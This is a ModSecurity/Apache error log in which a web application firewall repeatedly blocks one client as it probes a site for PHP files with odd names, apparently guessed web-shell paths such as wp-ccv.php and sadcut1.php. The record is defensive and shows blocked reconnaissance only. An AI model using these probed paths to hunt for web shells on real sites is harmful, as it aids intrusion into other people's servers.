[Sat Apr 18 23:25:14.484768 2026] [:error] [pid 9865:tid 9947] [client 20.203.141.81:30349] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/Geforce.php"] [unique_id "aeOiWqzb5knECIY-C-isggAAAIo"]
[Sat Apr 18 23:25:15.081635 2026] [:error] [pid 32647:tid 32670] [client 20.203.141.81:58537] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/Geforce.php"] [unique_id "aeOiW0kxooM0iRo6e5418wAAAhQ"]
[Sat Apr 18 23:25:16.049080 2026] [:error] [pid 32678:tid 32726] [client 20.203.141.81:64252] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/dichku.php"] [unique_id "aeOiXBUlAXU_ZWUu5y8ZmAAAApM"]
[Sat Apr 18 23:25:16.873896 2026] [:error] [pid 9865:tid 9944] [client 20.203.141.81:54805] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/dichku.php"] [unique_id "aeOiXKzb5knECIY-C-ishgAAAIc"]
[Sat Apr 18 23:25:17.542340 2026] [:error] [pid 13023:tid 13030] [client 20.203.141.81:30375] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/dichku.php"] [unique_id "aeOiXf1e7hG8DAeABB9NagAAAQU"]
[Sat Apr 18 23:25:18.670630 2026] [:error] [pid 34290:tid 34327] [client 20.203.141.81:32215] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/dichku.php"] [unique_id "aeOiXhqX6WpmmAXOBi8v_gAAAcg"]
[Sat Apr 18 23:25:19.232123 2026] [:error] [pid 32677:tid 32700] [client 20.203.141.81:64214] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/Okxob.php"] [unique_id "aeOiXxngmUE3LdC-wP72eQAAAlQ"]
[Sat Apr 18 23:25:20.100610 2026] [:error] [pid 32677:tid 32704] [client 20.203.141.81:32807] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/Okxob.php"] [unique_id "aeOiYBngmUE3LdC-wP72fgAAAlg"]
[Sat Apr 18 23:25:20.601598 2026] [:error] [pid 9863:tid 9896] [client 20.203.141.81:32200] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/Okxob.php"] [unique_id "aeOiYDjjiypiFrTucbLcXwAAABc"]
[Sat Apr 18 23:25:21.161913 2026] [:error] [pid 9863:tid 9880] [client 20.203.141.81:32240] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/Okxob.php"] [unique_id "aeOiYTjjiypiFrTucbLcYQAAAAc"]
[Sat Apr 18 23:25:22.050291 2026] [:error] [pid 9863:tid 9892] [client 20.203.141.81:41773] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/htto.php"] [unique_id "aeOiYjjjiypiFrTucbLcZAAAABM"]
[Sat Apr 18 23:25:22.716098 2026] [:error] [pid 34290:tid 34336] [client 20.203.141.81:54806] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/htto.php"] [unique_id "aeOiYhqX6WpmmAXOBi8wBQAAAdE"]
[Sat Apr 18 23:25:23.266280 2026] [:error] [pid 34288:tid 34310] [client 20.203.141.81:54817] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/htto.php"] [unique_id "aeOiY-TIiy__PtiLmpngzgAAAZI"]
[Sat Apr 18 23:25:23.780678 2026] [:error] [pid 34290:tid 34325] [client 20.203.141.81:47644] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/htto.php"] [unique_id "aeOiYxqX6WpmmAXOBi8wCAAAAcY"]
[Sat Apr 18 23:25:24.271671 2026] [:error] [pid 32677:tid 32695] [client 20.203.141.81:7333] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-ccv.php"] [unique_id "aeOiZBngmUE3LdC-wP72gAAAAk8"]
[Sat Apr 18 23:25:25.386969 2026] [:error] [pid 32677:tid 32689] [client 20.203.141.81:32769] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-ccv.php"] [unique_id "aeOiZRngmUE3LdC-wP72ggAAAkk"]
[Sat Apr 18 23:25:26.249784 2026] [:error] [pid 9865:tid 9941] [client 20.203.141.81:32223] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-ccv.php"] [unique_id "aeOiZqzb5knECIY-C-isigAAAIQ"]
[Sat Apr 18 23:25:27.079589 2026] [:error] [pid 9864:tid 9913] [client 20.203.141.81:57002] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-ccv.php"] [unique_id "aeOiZ4CFeowknfXHM7k4KwAAAEc"]
[Sat Apr 18 23:25:27.788040 2026] [:error] [pid 32677:tid 32704] [client 20.203.141.81:61819] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/hfles.php"] [unique_id "aeOiZxngmUE3LdC-wP72igAAAlg"]
[Sat Apr 18 23:25:28.521403 2026] [:error] [pid 9863:tid 9876] [client 20.203.141.81:31023] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/hfles.php"] [unique_id "aeOiaDjjiypiFrTucbLcZwAAAAM"]
[Sat Apr 18 23:25:29.187138 2026] [:error] [pid 32647:tid 32669] [client 20.203.141.81:41172] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/hfles.php"] [unique_id "aeOiaUkxooM0iRo6e5419QAAAhM"]
[Sat Apr 18 23:25:29.705941 2026] [:error] [pid 32678:tid 32718] [client 20.203.141.81:30987] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/hfles.php"] [unique_id "aeOiaRUlAXU_ZWUu5y8ZqwAAAos"]
[Sat Apr 18 23:25:30.352122 2026] [:error] [pid 9865:tid 9949] [client 20.203.141.81:58510] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/tx79.php"] [unique_id "aeOiaqzb5knECIY-C-isjgAAAIw"]
[Sat Apr 18 23:25:31.323774 2026] [:error] [pid 9865:tid 9946] [client 20.203.141.81:7711] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/tx79.php"] [unique_id "aeOia6zb5knECIY-C-islQAAAIk"]
[Sat Apr 18 23:25:32.196373 2026] [:error] [pid 9865:tid 9958] [client 20.203.141.81:30998] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/tx79.php"] [unique_id "aeOibKzb5knECIY-C-ismAAAAJU"]
[Sat Apr 18 23:25:32.899570 2026] [:error] [pid 13023:tid 13043] [client 20.203.141.81:56966] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/tx79.php"] [unique_id "aeOibP1e7hG8DAeABB9NbwAAARI"]
[Sat Apr 18 23:25:33.475743 2026] [:error] [pid 13023:tid 13042] [client 20.203.141.81:32196] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/aligk.php"] [unique_id "aeOibf1e7hG8DAeABB9NcQAAARE"]
[Sat Apr 18 23:25:33.979554 2026] [:error] [pid 9970:tid 9992] [client 20.203.141.81:37946] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/aligk.php"] [unique_id "aeOibSYdRLRhVmaIMx3wtwAAANI"]
[Sat Apr 18 23:25:34.517764 2026] [:error] [pid 34290:tid 34328] [client 20.203.141.81:64229] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/aligk.php"] [unique_id "aeOibhqX6WpmmAXOBi8wCgAAAck"]
[Sat Apr 18 23:25:35.172036 2026] [:error] [pid 9865:tid 9951] [client 20.203.141.81:31000] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/aligk.php"] [unique_id "aeOib6zb5knECIY-C-isnAAAAI4"]
[Sat Apr 18 23:25:36.151802 2026] [:error] [pid 9864:tid 9929] [client 20.203.141.81:32770] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/byrgo.php"] [unique_id "aeOicICFeowknfXHM7k4MQAAAFc"]
[Sat Apr 18 23:25:36.739204 2026] [:error] [pid 9864:tid 9920] [client 20.203.141.81:7315] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/byrgo.php"] [unique_id "aeOicICFeowknfXHM7k4MgAAAE4"]
[Sat Apr 18 23:25:37.392073 2026] [:error] [pid 32677:tid 32701] [client 20.203.141.81:32774] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/byrgo.php"] [unique_id "aeOicRngmUE3LdC-wP72jQAAAlU"]
[Sat Apr 18 23:25:38.397551 2026] [:error] [pid 9970:tid 9981] [client 20.203.141.81:37908] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/byrgo.php"] [unique_id "aeOiciYdRLRhVmaIMx3wugAAAMc"]
[Sat Apr 18 23:25:39.373688 2026] [:error] [pid 34288:tid 34307] [client 20.203.141.81:41175] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/press.php"] [unique_id "aeOic-TIiy__PtiLmpng3AAAAY8"]
[Sat Apr 18 23:25:40.377383 2026] [:error] [pid 32677:tid 32696] [client 20.203.141.81:7742] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/press.php"] [unique_id "aeOidBngmUE3LdC-wP72kAAAAlA"]
[Sat Apr 18 23:25:41.237291 2026] [:error] [pid 9864:tid 9912] [client 20.203.141.81:32248] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/press.php"] [unique_id "aeOidYCFeowknfXHM7k4OgAAAEY"]
[Sat Apr 18 23:25:42.353134 2026] [:error] [pid 13023:tid 13040] [client 20.203.141.81:58556] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/press.php"] [unique_id "aeOidv1e7hG8DAeABB9NeQAAAQ8"]
[Sat Apr 18 23:25:43.215115 2026] [:error] [pid 9970:tid 9996] [client 20.203.141.81:54818] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file61.php"] [unique_id "aeOidyYdRLRhVmaIMx3wvwAAANY"]
[Sat Apr 18 23:25:44.293517 2026] [:error] [pid 9970:tid 9998] [client 20.203.141.81:51735] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file61.php"] [unique_id "aeOieCYdRLRhVmaIMx3wwgAAANg"]
[Sat Apr 18 23:25:45.614948 2026] [:error] [pid 32677:tid 32684] [client 20.203.141.81:32777] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file61.php"] [unique_id "aeOieRngmUE3LdC-wP72kgAAAkQ"]
[Sat Apr 18 23:25:46.453901 2026] [:error] [pid 32678:tid 32714] [client 20.203.141.81:47624] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file61.php"] [unique_id "aeOiehUlAXU_ZWUu5y8ZrQAAAoc"]
[Sat Apr 18 23:25:47.083518 2026] [:error] [pid 9970:tid 9998] [client 20.203.141.81:63683] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/tdsaz.php"] [unique_id "aeOieyYdRLRhVmaIMx3w0AAAANg"]
[Sat Apr 18 23:25:47.704090 2026] [:error] [pid 9970:tid 9991] [client 20.203.141.81:61788] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/tdsaz.php"] [unique_id "aeOieyYdRLRhVmaIMx3w1QAAANE"]
[Sat Apr 18 23:25:48.582085 2026] [:error] [pid 9970:tid 9990] [client 20.203.141.81:37895] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/tdsaz.php"] [unique_id "aeOifCYdRLRhVmaIMx3w2QAAANA"]
[Sat Apr 18 23:25:49.687119 2026] [:error] [pid 9970:tid 9994] [client 20.203.141.81:30348] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/tdsaz.php"] [unique_id "aeOifSYdRLRhVmaIMx3w3AAAANQ"]
[Sat Apr 18 23:25:50.513435 2026] [:error] [pid 9863:tid 9875] [client 20.203.141.81:31009] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ynjli.php"] [unique_id "aeOifjjjiypiFrTucbLcbwAAAAI"]
[Sat Apr 18 23:25:51.509238 2026] [:error] [pid 9864:tid 9925] [client 20.203.141.81:63709] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ynjli.php"] [unique_id "aeOif4CFeowknfXHM7k4QwAAAFM"]
[Sat Apr 18 23:25:52.172537 2026] [:error] [pid 9970:tid 9979] [client 20.203.141.81:32247] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ynjli.php"] [unique_id "aeOigCYdRLRhVmaIMx3w5AAAAMU"]
[Sat Apr 18 23:25:52.888877 2026] [:error] [pid 32677:tid 32688] [client 20.203.141.81:54794] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ynjli.php"] [unique_id "aeOigBngmUE3LdC-wP72mAAAAkg"]
[Sat Apr 18 23:25:53.858666 2026] [:error] [pid 32647:tid 32670] [client 20.203.141.81:61802] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sadcut1.php"] [unique_id "aeOigUkxooM0iRo6e541_AAAAhQ"]
[Sat Apr 18 23:25:54.526543 2026] [:error] [pid 13023:tid 13032] [client 20.203.141.81:64245] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sadcut1.php"] [unique_id "aeOigv1e7hG8DAeABB9NgAAAAQc"]
[Sat Apr 18 23:25:55.290258 2026] [:error] [pid 32677:tid 32685] [client 20.203.141.81:58507] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sadcut1.php"] [unique_id "aeOigxngmUE3LdC-wP72nQAAAkU"]
[Sat Apr 18 23:25:55.886693 2026] [:error] [pid 32677:tid 32695] [client 20.203.141.81:32802] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sadcut1.php"] [unique_id "aeOigxngmUE3LdC-wP72oQAAAk8"]
[Sat Apr 18 23:25:56.638777 2026] [:error] [pid 9865:tid 9941] [client 20.203.141.81:61777] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/rogsa.php"] [unique_id "aeOihKzb5knECIY-C-isoAAAAIQ"]
[Sat Apr 18 23:25:57.317369 2026] [:error] [pid 9865:tid 9960] [client 20.203.141.81:37922] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/rogsa.php"] [unique_id "aeOihazb5knECIY-C-isogAAAJc"]
